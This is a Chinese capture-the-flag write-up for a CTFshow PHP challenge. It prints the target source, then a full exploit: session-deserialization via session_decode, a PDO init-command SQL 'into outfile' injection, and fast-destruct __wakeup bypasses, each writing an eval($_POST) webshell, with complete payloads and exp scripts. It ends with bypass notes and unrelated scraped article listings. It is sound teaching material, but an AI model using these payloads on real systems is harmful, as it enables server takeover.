CTFshow 限时活动 红包挑战9 详细题解

CTFshow红包挑战9

题目源码开源了。源码如下:

common.php

<?phpclass user{public $id;public $username;private $password;public function __toString(){return $this->username;}}class cookie_helper{private $secret = "*************"; //敏感信息打码public  function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}class mysql_helper{private $db;public $option = array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION);public function __construct(){$this->init();}public function __wakeup(){$this->init();}private function init(){$this->db = array('dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8','host' => '127.0.0.1','port' => '3306','dbname' => '****', //敏感信息打码'username' => '****',//敏感信息打码'password' => '****',//敏感信息打码'charset' => 'utf8',);}public function get_pdo(){try{$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);}catch(PDOException $e){die('数据库连接失败:' . $e->getMessage());}return $pdo;}}class application{public $cookie;public $mysql;public $dispather;public $loger;public $debug=false;public function __construct(){$this->cookie = new cookie_helper();$this->mysql = new mysql_helper();$this->dispatcher = new dispatcher();$this->loger = new userLogger();$this->loger->setLogFileName("log.txt");}public function register($username,$password){$this->loger->user_register($username,$password);$pdo = $this->mysql;$sql = "insert into user(username,password) values(?,?)";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));return $pdo->lastInsertId() > 0;}public function login($username,$password){$this->loger->user_login($username,$password);$sql = "select id,username,password from user where username = ? and password = ?";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));$ret = $stmt->fetch();return $ret['password']===$password;}public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}public function logout(){$this->loger->user_logout();setCookie("user",NULL);}private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();}public function __destruct(){if($this->debug){$this->log_last_user();}}}class userLogger{public $username;private $password;private $filename;public function __construct(){$this->filename = "log.txt_$this->username-$this->password";}public function setLogFileName($filename){$this->filename = $filename;}public function __wakeup(){$this->filename = "log.txt";}public function user_register($username,$password){$this->username = $username;$this->password = $password;$data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_login($username,$password){$this->username = $username;$this->password = $password;$data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_logout(){$data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function __destruct(){$data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";$d = file_put_contents($this->filename,$data,FILE_APPEND);}
}
class dispatcher{public function sendMessage($msg){echo "<script>alert('$msg');window.history.back();</script>";}public function redirect($route){switch($route){case 'login':header("location:index.php?action=login");break;case 'register':header("location:index.php?action=register");break;default:header("location:index.php?action=main");break;}}
}

index.php

<?phperror_reporting(0);
session_start();
require_once 'common.php';$action = $_GET['action'];
$app = new application();if(isset($action)){switch ($action) {case 'do_login':$ret = $app->login($_POST['username'],$_POST['password']);if($ret){$app->cookie->setcookie("user",$_POST['username']);$app->dispatcher->redirect('main');}else{echo "登录失败";}break;case 'logout':$app->logout();$app->dispatcher->redirect('main');break;    case 'do_register':$ret = $app->register($_POST['username'],$_POST['password']);if($ret){$app->dispatcher->sendMessage("注册成功,请登陆");}else{echo "注册失败";}break;default:include './templates/main.php';break;}
}else{$app->dispatcher->redirect('main');
}

main.php

<?php$name =  $app->getLoginName('user');if($name){echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{include 'login.html';
}

先把所有代码看一遍。

common.php文件的userLogger类中有写入文件操作,假设我们可以反序列化改变类属性,我们就可以写马到文件getshell,美哉美哉。

image-20230823221524514

这题分为两步,一是反序列化,二是getshell。


一、反序列化

题目应该是开启了PDO扩展(common.php中的mysql_helper类),用来连接数据库。

题目源码有很多类、没有反序列化函数unserialize(),但是开启了session(index.php),同时在application::getLoginName()方法(common.php)中有session操作。这里能进行session反序列化

image-20230823204636856

1、session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2、session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法

session_decode() 对参数中的已经序列化的会话数据进行解码,并且使用解码后的数据填充 $_SESSION 超级全局变量。

语句session_decode($_GET['token']);往session里面存放对象
语句$data = $_SESSION['user'];往session里面拿取对象,拿取名字为user的对象。

所以满足session反序列化条件的情况下,我们如果GET提交token参数型如user|恶意序列化字符串,就能反序列化字符串getshell。

反序列化第一步:

首先我们需要调用触发session语句的方法application::getLoginName($name)。此方法只在main.php中被调用,简单看看代码需要我们GET提交的action不等于do_login、logout、do_register就行。

image-20230823213303037

那我们GET传参:

?action=hahaha

反序列化第二步:

然后就是满足$data === NULL。回溯一下,$data = $this->cookie->getCookie($name);。再回溯一下,cookie_helper::getCookie($name)方法返回cookie_helper::verify($_COOKIE[$name])。见下图

image-20230823210241790

传入verify方法的变量$cookie也就是$_COOKIE[$name]被字符|分割,只要分割后数量不等于2,就返回null达到session反序列化的条件。

上述变量$cookie中会存在原封不动的用户名,我们只需要使得用户名要带上一个|,比如Jay|17,那么变量$cookie中就会存在两个|(原本自带一个),经过explode()函数后被分隔成三个,使得返回null,我们能够进行session反序列化。

反序列化第三步:

注册一个账号,用户名为Jay|17,拿到用户cookie。后续操作发包时要带上cookie。然后登录(do_login)。

image-20230823214045348

Cookie:user=Jay%7C17%7Cfbbfa886adac2c1901e6d47c8700a15b

验证session反序列化是否成功:

我们简单构造个序列化字符串,把用户名改成一句话木马看看能否修改成功。

<?phpclass userLogger{public $username="<?php eval(\$_POST[1]);?>";private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));

payload:(记得带上Cookie)

GET:/index.php?action=hahaha&token=user|O%3A10%3A%22userLogger%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A20%3A%22%00userLogger%00password%22%3Bs%3A6%3A%22123456%22%3B%7DPOST:username=Jay%7C17&password=123456

访问日志文件log.txt,记得带上Cookie,发现反序列化成功,用户名成功被我修改了。

image-20230823214905842


二、getshell

方法一:利用**PDO::MYSQL_ATTR_INIT_COMMAND**

PHP中文手册->PDO_MYSQL预定义常量。查询到一个预定义常量叫PDO::MYSQL_ATTR_INIT_COMMAND

它的描述翻译过来是:连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。

image-20230823234709117

那我们给这个预定义常量赋值一个恶意SQL语句,就能在连接的时候自动执行这个恶意SQL了。select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';

开始实现。

连接数据库就得执行mysql_helper::get_pdo()方法。

image-20230824000018339

由于要反序列化,?action=hahaha,执行mysql_helper::get_pdo()方法必须执行application::log_last_user()方法,那么那么就必须$debug = true;

image-20230824002220879

构造序列化字符串:

<?php
session_start();
class mysql_helper
{public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>'  into outfile '/var/www/html/1.php';");
}
class application
{public $mysql;public $debug = true;public function __construct(){$this->mysql = new mysql_helper();}
}$a = new application();
echo urlencode(serialize($a));

O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D

payload:(记得带上Cookie)

GET:/index.php?action=hahaha&token=user|O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7DPOST:username=Jay%7C17&password=123456

image-20230824002944605

访问1.php,能看见phpinfo,说明写入成功并且执行了,开始getshell。

image-20230824003022253

image-20230824003057559

方法二:绕过weakup

但是日志文件log.txt就算写入了木马也不解析,我们需要修改写入文件。奈何__wakeup()魔术方法把写入文件的路径限定死了,我们得想办法绕过weakup

image-20230823215151296

这里使用fast-destruct绕过weakup。(本质上是GC回收机制)

思路:

1、fast-destruct先触发application::__destruct(),最终调用到mysql_helper::get_pdo()方法

2、把mysql_helper类的$db属性设置为空,使得mysql_helper::get_pdo()方法连接数据库失败,执行die()函数,结束所有对象的生命周期(主要是结束了userLogger,GC回收),导致提前执行了userLogger::__destruct()写马到文件。

exp:

<?php
class mysql_helper{private $db;
}
class application{public $debug=true;public $loger;public $mysql;public function __construct(){$this->loger = new userLogger();$this->mysql = new mysql_helper();}
}
class userLogger{public $username='<?php eval($_POST[1]);phpinfo();?>';public $password="123456";public $filename="2.php";
}
$a = new application();
echo serialize($a);

payload:

GET:/index.php?action=hahaha&token=user|【替换点】POST:username=Jay%7C17&password=123456

【替换点】 (记得URL编码)(都试过,整合笔记在最后,师傅们现在别忙着记)

//一、去掉一个花括号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"2.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N;}//二、去掉外部类分号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"3.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N}}//三、内外部类加一个分号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"4.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N;};}//四、属性键长度不匹配(后面的s:16:改成s:17:)
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"5.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:17:" mysql_helper db";N;}}

image-20230824024601485

image-20230824024715193


结束收工,整理了一份绕过wakeup的思维导图和笔记:

image-20230824024755107

变量引用

这个其实不是语言特性漏洞,而是代码逻辑漏洞。只有在特定代码情况下才会产生

KaTeX parse error: Expected 'EOF', got '&' at position 3: x=&̲a使两个变量同时指向同一个内存地址

利用:
KaTeX parse error: Expected 'EOF', got '&' at position 10: jay17->b=&̲jay17->a;
详细参照** NSS [UUCTF 2022 新生赛]ez_unser、私教web57

C绕过

C代替O能绕过wakeup,但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容。就绕过了wakeup。

O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}
—>
C:4:“User”:2:{}

C绕过-进阶 //愚人杯3rd [easy_php]

__unserialize()魔术方法

条件:PHP 7.4.0+

如果类中同时定义了 __unserialize()__wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效__wakeup() 方法会被忽略。

对象的属性数量不一致

CVE-2016-7124

版本:PHP5 < 5.6.25、PHP7 < 7.0.10

绕过方式:
1.当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
例如:O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}中将变量个数2(s:3:“age”;表示第一个变量的名字,i:20;表示第一个变量的值,因此像这种对象,都是成对出现的,几对就有几个变量)修改为3即可
str_replace(‘:1:’, ‘:2:’,$a);

原理:
反序列化后
由于属性值个数不匹配,被PHP当作垃圾回收。(本质是GC回收机制)
----------------------------------------------------------------------
进一步探索,如果换成类包类的情况,就是类属性还是一个类。

//正常payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}
//内部类属性数量不一致,只触发外部类的__destruct()
O:1:“A”:2:{s:4:“info”;O:1:“B”:2:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}
//外部类属性数量不一致,外类__destruct()内类__wakeup()
O:1:“A”:3:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}

原理:
反序列化,它是先从里面里面开始反序列话,而不是最外面。通俗讲,就是类A里面的属性是类B,反序列化先反序列化类B再反序列化类A。
内部类属性数量不一致,直接把内部类当垃圾回收,所以不触发内部类__wakeup(),只触发外部类的__destruct()。
外部类属性数量不一致,外部类直接被当成垃圾回收,先触发了外部类__destruct(),而内部类正常,就正常触发内部类__wakeup()。

这听起来像fast-destruct,不是像,就是同一个东西,其实本质上都是PHP的GC回收机制罢了。

fast-destruct

本质上就是利用GC回收机制。

方法有两种,删除末尾的花括号、数组对象占用指针(改数字)

$a = new a();
a r r y = a r r a y ( arry = array( arry=array(a,“1234”);
r e s u l t = s e r i a l i z e ( result = serialize( result=serialize(arry);echo $result.“
”;

//正常payload:
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;}
//删除末尾花括号payload:
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;
//数组对象占用指针payload(加粗部分数组下标和前面重复都是0,导致指针出问题)
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:0;s:4:“1234”;}

其余GC回收机制利用

也叫 php issue#9618

版本条件:

  • 7.4.x -7.4.30
  • 8.0.x

----------------------------------------------------------------------
**属性键的长度不匹配:

**
//正常payload

O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;}
//外部类属性长度异常payload:
//外类__destruct()内类__wakeup()
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:6:“Aend”;s:1:“1”;}
----------------------------------------------------------------------
属性值的长度不匹配:

//正常payload

O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;}
//外部类属性长度异常payload:
//外类__destruct()内类__wakeup()
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:2:“1”;}
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“12”;}

----------------------------------------------------------------------
去掉内部类的分号:
注:

  1. 这样内部类直接回收,外部类没事,可以直接不执行内部类的wakeup。
  2. 外部类去掉分号同理。
  3. 如果内部外部类的花括号紧贴,也可以在两个花括号中间加分号,可绕过内部类wakeup。

//正常payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N**;**}s:3:“end”;s:1:“1”;}
//去掉了内部类的分号的payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N}s:3:“end”;s:2:“1”;}

注:使用前提是分号前面这个数据不可以是payload,否则将导致payload无法识别而被抛弃,如果它是一些无关紧要的数据,那就可以随便丢。

GC回收机制的总结

本质上,上面这些 对象的属性数量大于真实值、fast-destruct、其余GC回收机制利用 三个板块都是同一个东西同一个原理。

想要不执行wakup,就必须在有wakup魔术方法的那个类的结构进行破坏,可以采用删除分号或者属性数量不一致的方法。

在存在destruct且恶意方法在destruct情形下的链子,wakup是完全无效的,它不但可以被绕过,甚至可以不被执行

绕过weakup参考文章:

原文

官方wp

CTfshow 卷王杯 easy unserialize(特详)_Jay 17的博客-CSDN博客

PHP的GC垃圾收集机制 - 简书 (jianshu.com)

php反序列化之绕过wakeup – View of Thai

PHP反序列化中wakeup()绕过总结 – fushulingのblog

绕过__wakeup,先执行外面的类&天翼杯的eval那个题的一个思考_Je3Z的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/51590.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Java架构-包管理工具】-Maven私服搭建-Nexus(三)

本文摘要 Maven作为Java后端使用频率非常高的一款依赖管理工具&#xff0c;在此咱们由浅入深&#xff0c;分三篇文章&#xff08;Maven基础、Maven进阶、私服搭建&#xff09;来深入学习Maven&#xff0c;此篇为开篇主要介绍Maven私服搭建-Nexus 文章目录 本文摘要1. Nexus安装…

本地搭建CFimagehost私人图床【公网远程访问】

文章目录 1.前言2. CFImagehost网站搭建2.1 CFImagehost下载和安装2.2 CFImagehost网页测试2.3 cpolar的安装和注册 3.本地网页发布3.1 Cpolar临时数据隧道3.2 Cpolar稳定隧道&#xff08;云端设置&#xff09;3.3.Cpolar稳定隧道&#xff08;本地设置&#xff09; 4.公网访问测…

Redis数据结构之Set

Set 类型是一个无序并唯一的键值集合&#xff0c;它的存储顺序不会按照插入的先后顺序进行存储。Redis 中集合是通过哈希表实现的&#xff0c;所以添加&#xff0c;删除&#xff0c;查找的复杂度都是 O(1)。相对于列表&#xff0c;集合也有两个特点&#xff1a;无序、不可重复 …

js reverse实现数据的倒序

2023.8.25今天我学习了如何在数组顺序进行倒序排列&#xff0c;如&#xff1a; 原数组为&#xff1a; 我们只需要对数组使用reverse()方法 let demo [{id: 1, name: 一号},{id: 2, name: 二号},{id: 3, name: 三号},]demo.reverse()console.log(demo) 扩展&#xff1a; 当我…

jmeter入门:接口压力测试全解析

一.对接口压力测试 1.配置 1.添加线程组&#xff08;参数上文有解释 这里不介绍&#xff09; 2.添加取样器 不用解释一看就知道填什么。。。 3.添加头信息&#xff08;否则请求头对不上&#xff09; 也不用解释。。。 4.配置监听器 可以尝试使用这几个监听器。 2.聚合结果…

Tushare入门小册

Tushare入门小册 一、Tushare平台介绍 Pro版数据更稳定质量更好了&#xff0c;我们提供的不再是直接从互联网抓取&#xff0c;而是通过社区的采集和整理存入数据库经过质量控制后再提供给用户。但Pro依然是个开放的&#xff0c;免费的平台&#xff0c;不带任何商业性质和目的…

4.网络设计与redis、memcached、nginx组件(一)

网络组件系列文章目录 第四章 网络设计与redis、memcached、nginx组件 文章目录 网络组件系列文章目录文章的思维导图前言一、网络相关的问题&#xff0c;网络开发中要处理那些问题&#xff1f;网络操作IO连接建立连接断开消息到达消息发送网络操作IO特性 二、网络中IO检测IO函…

SpringBoot概述SpringBoot基础配置yml的使用多环境启动

&#x1f40c;个人主页&#xff1a; &#x1f40c; 叶落闲庭 &#x1f4a8;我的专栏&#xff1a;&#x1f4a8; c语言 数据结构 javaEE 操作系统 石可破也&#xff0c;而不可夺坚&#xff1b;丹可磨也&#xff0c;而不可夺赤。 SpringBoot简介 一、 SpringBoot概述1.1 起步依赖…

Docker自学:利用FastAPI建立一个简单的web app

环境配置&#xff1a;下载Docker Desktop 文件一&#xff1a;main.py from typing import Unionfrom fastapi import FastAPIimport uvicornapp FastAPI()app.get("/") def read_root():return {"Hello": "World"}app.get("/items/{item…

线性代数的学习和整理10:各种特殊类型的矩阵(草稿-----未完成 建设ing)

目录 1 图形化分类 1.1对称矩阵 1.2 梯形矩阵 1.3 三角矩阵 1.3.1 上三角矩阵 1.4 对角线矩阵 2 按各自功能分 2.1 等价矩阵 2.2 增广矩阵 2.3 伴随矩阵 2.4 正交矩阵 2.5 正交矩阵 2.6 相似矩阵 1 图形化分类 1.1对称矩阵 1.2 梯形矩阵 1.3 三角矩阵 1.3.1 上…

有序充电运营管理平台是基于物联网和大数据技术的充电设施管理系统-安科瑞黄安南

随着我国能源战略发展以及低碳行动的实施&#xff0c;电动汽车已逐步广泛应用&#xff0c;而电动汽车的应用非常符合当今社会对环保意识的要求&#xff0c;以及有效节省化石燃料的消耗。 由于其没有污染排放的优点以及政府部门的关注&#xff0c;电动汽车将成为以后出行的重要…

OnePlus Open可折叠手机:规格、价格、发布日期等详细信息汇总!

我们知道OnePlus可折叠手机即将问世,无论它是否被命名为OnePlus Open。我们迫不及待地想让它到来,为该公司再添一根弦,为最好的可折叠手机增添一个新的竞争对手。 OnePlus以前没有生产过任何可折叠产品,但它确实拥有合作伙伴公司Oppo的丰富知识,并可以向三星、摩托罗拉和…

LLM预训练大型语言模型Pre-training large language models

在上一个视频中&#xff0c;您被介绍到了生成性AI项目的生命周期。 如您所见&#xff0c;在您开始启动您的生成性AI应用的有趣部分之前&#xff0c;有几个步骤需要完成。一旦您确定了您的用例范围&#xff0c;并确定了您需要LLM在您的应用程序中的工作方式&#xff0c;您的下…

day-30 代码随想录算法训练营 回溯part06

332.重新安排行程 思路&#xff1a;使用unordered_map记录起点机场对应到达机场&#xff0c;内部使用map记录到达机场的次数&#xff08;因为map会进行排序&#xff0c;可以求出最小路径&#xff09; class Solution { public:vector<string>res;unordered_map<stri…

【动手学深度学习】--21.锚框

锚框 学习视频&#xff1a;锚框【动手学深度学习v2】 官方笔记&#xff1a;锚框 1.锚框 目标检测算法通常会在输入图像中采样大量的区域&#xff0c;然后判断这些区域中是否包含我们感兴趣的目标&#xff0c;并调整区域边界从而更准确地预测目标的真实边界框&#xff08;gro…

智慧党建VR虚拟3D数字化展厅发展和传承传统文化

三维全景虚拟现实技术应用在虚拟展馆中&#xff0c;主要是通过全景照片的虚拟与建模&#xff0c;营造出三维虚拟仿真的场景&#xff0c;从而结合展馆展示的需求&#xff0c;营造出更加有效的氛围&#xff0c;起到优化展示效果的作用。 三维全景虚拟现实技术的应用&#xff0c;能…

05有监督学习——神经网络

线性模型 给定n维输入&#xff1a; x [ x 1 , x 1 , … , x n ] T x {[{x_1},{x_1}, \ldots ,{x_n}]^T} x[x1​,x1​,…,xn​]T 线性模型有一个n维权重和一个标量偏差: w [ w 1 , w 1 , … , w n ] T , b w {[{w_1},{w_1}, \ldots ,{w_n}]^T},b w[w1​,w1​,…,wn​]T,b 输…

面试题(三)

目录 一.Spring 1.Spring IOC & AOP 2.Spring bean (1) 作用域 (2) Spring 中的 bean ⽣命周期 (3) Spring 框架中⽤到了哪些设计模式 二.Mybatis 1.标签 2.Dao接口 3.返回与映射 4.延迟加载 三.Kafka 四.设计模式 1.IO 设计模式 2.Spring 中的设计模式详解…

若依前后端分离版本项目总结笔记

若依前后端分离学习笔试 1.路由问题 注意这个是前端找到你的路由的路径。 2.表格开关按钮快速实现 <el-table-column label"状态" align"center" key"status"><template slot-scope"scope"><el-switchv-model"s…

VS+Qt 自定义Dialog

与QtCreator不同&#xff0c;刚用VS添加Qt Dialog界面有点懵&#xff0c;后整理了下&#xff1a; 1.右击项目&#xff0c;选择“添加-模块”&#xff0c;然后选择“Qt-Qt Widgets Class” 2.选择基类[1]QDialog,更改[2]ui文件名称&#xff0c;修改定义Dialog[3]对应类名&#…